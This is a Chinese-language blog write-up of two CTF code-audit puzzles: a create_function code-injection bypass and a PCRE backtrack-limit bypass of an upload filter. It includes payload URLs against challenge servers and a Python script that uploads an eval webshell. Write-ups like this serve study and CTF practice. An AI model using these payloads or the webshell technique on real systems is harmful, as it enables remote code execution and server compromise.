Code-Breaking Puzzles Learning

Code-Brea…

内容纲要

前言

考研考的不知道怎么样,没对也不想对答案。姑且是接了份渗透实习,第一次社会生活就要开始了么。。。

公司大佬据说会非常多,虽然只是实习但也不想拖人家后腿,进公司战队之后,我还想一雪前耻,堂堂正正地和强队们一决胜负呢。

果然还是很喜欢很喜欢CTF,最初的恢复和突破也想在这儿(其实业务渗透我自己也不好练习)。

11月中旬,虽然我没时间玩,但还是听说了P神知识星球的审计Puzzles。考研之前,为了激励自己,狠狠心把审计小密圈买了。考研之后,初步学习了一些trick之后,感觉P神他们真的是把代码审计玩出花儿来了。

加油~~~

 

easy_function

无题干,仅一URL,一代码而已。

<?php
$action = $_GET['action'] ?? ''; 
$arg = $_GET['arg'] ?? '';       

if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
    show_source(__FILE__);
} else {
    $action('', $arg);
}

给了两个参数,如果被正则匹配到,什么都不会发生,否则就让action的第二个参数为arg,意味着可能导致命令执行。

两个核心trick:

  • action不能只由字母和数字组成。
  • action应该是第二个参数容易被利用的函数。

遗憾的是,现在毕竟离开赛太久,在知识星球第一题整个被解析透了。感觉思考深。。。

第一个trick的解法:

命名空间问题,PHP里默认命名空间是\,调函数时候其实都是相对路径,绝对路径就是\funcion() ,加个%5c就是了。

第二个:

核心就在create_function函数第二个参数放$_GET['code']可以直接RCE。主要因为这函数本身执行就利用了闭合。所以我们自行闭合就可能引发注入。

此函数详细利用方式如是:http://blog.51cto.com/lovexm/1743442

 

不过,对于我这种菜鸡,还一个难点在于怎么读flag。。。

PHP为什么单单print就有这么多种。。。

师傅们的payload:

http://51.158.75.42:8087/action=\create_function&arg=2;}var_dump(glob(%27./../*%27));/*`

http://51.158.75.42:8087/action=\create_function&arg=2;}var_dump(file_get_contents(%27./../flag_h0w2execute_arb1trary_c0de%27));/*

http://51.158.75.42:8087/?action=\create_function&arg=1;}print_r(scandir('../'));/*

http://51.158.75.42:8087/?action=\create_function&arg=1;}print_r(file_get_contents('../flag_h0w2execute_arb1trary_c0de'));/*

 

easy_pcrewaf

因为之前师傅们的剧透,上一道题还有误以为自己能做出来的侥幸。这一道题就是一记重重的耳光了。

代码如是:

<?php
function is_php($data){
    return preg_match('/<\?.*[(`;?>].*/is', $data);
}

if(empty($_FILES)) {
    die(show_source(__FILE__));
}

$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
    echo "bad request";
} else {
    @mkdir($user_dir, 0755);
    $path = $user_dir . '/' . random_int(0, 10) . '.php';
    move_uploaded_file($_FILES['file']['tmp_name'], $path);

    header("Location: $path", true, 303);
} 

这道题来来回回审了好几遍,感觉我PHP就是一团糟。
首先就不明白is_php到底是干什么的,手册里也没查到,最终才发现是CodeIgniter的函数,判断PHP版本,这里应该是用为判断是否为PHP代码。
明白这一点之后,整个waf的思路就比较清晰了。正则匹配输入内容,不含有php代码则写入文件。绕过此waf则需突破此限制。
这trick打死我也没想出来。。。最终还是看了p神的讲解。居然是要利用正则回溯(图是p神自己blog的:

image.png

意思是,正则引擎分两种DFA(确定性有限状态自动机)与 NFA(非确定性有限状态自动机)就像学数据结构时不同教材所用的不同计算next数组方法。一种是从前往后逐步递增式的匹配,一种是从后往前逐步回溯。后者应用广泛,比如题干的pcre库即用此方式。于是乎,此题中核心trick出现--pcre.backtrack_limitpcre为了防止正则无限回溯,设置此回溯次数限制。

默认回溯限制为100w,故而在100w个字符中插入shell即可绕过。

import requests
from io import BytesIO

files = {
  'file': BytesIO(b'aaa<?php eval($_GET[txt]);//' + b'a' * 1000000)
}

res = requests.post('http://51.158.75.42:8088/index.php', files=files, allow_redirects=False)
print(res.headers)

p神最初里面写的是POST,那样直接post数据读回显即可,我一开始没想明白,给改成了GET,手动浏览器读的flag。

http://51.158.75.42:8088/data/6ac4277df9ec86d880f590df780f522b/6.php?txt=print_r(scandir('../../../'));
http://51.158.75.42:8088/data/6ac4277df9ec86d880f590df780f522b/6.php?txt=var_dump(file_get_contents('../../../flag_php7_2_1s_c0rrect'));

 

这道题,无论是题干还是p神wp中出现的一些小细节均昭示其开发水平不逊色一般开发岗,嗯,有所启示。

 

未完待续

 

参考

https://t.zsxq.com/vRniiie P神的小密圈

https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html P神blog

https://www.kingkk.com/2018/11/Code-Breaking-Puzzles-%E9%A2%98%E8%A7%A3-%E5%AD%A6%E4%B9%A0%E7%AF%87/ kingkk师傅

https://blog.csdn.net/fnmsd/article/details/84556522 fnmsd师傅

https://www.jianshu.com/p/748749d38fb8 theKingOfNight师傅

harmoc

发表回复

您的电子邮箱地址不会被公开。 必填项已用*标注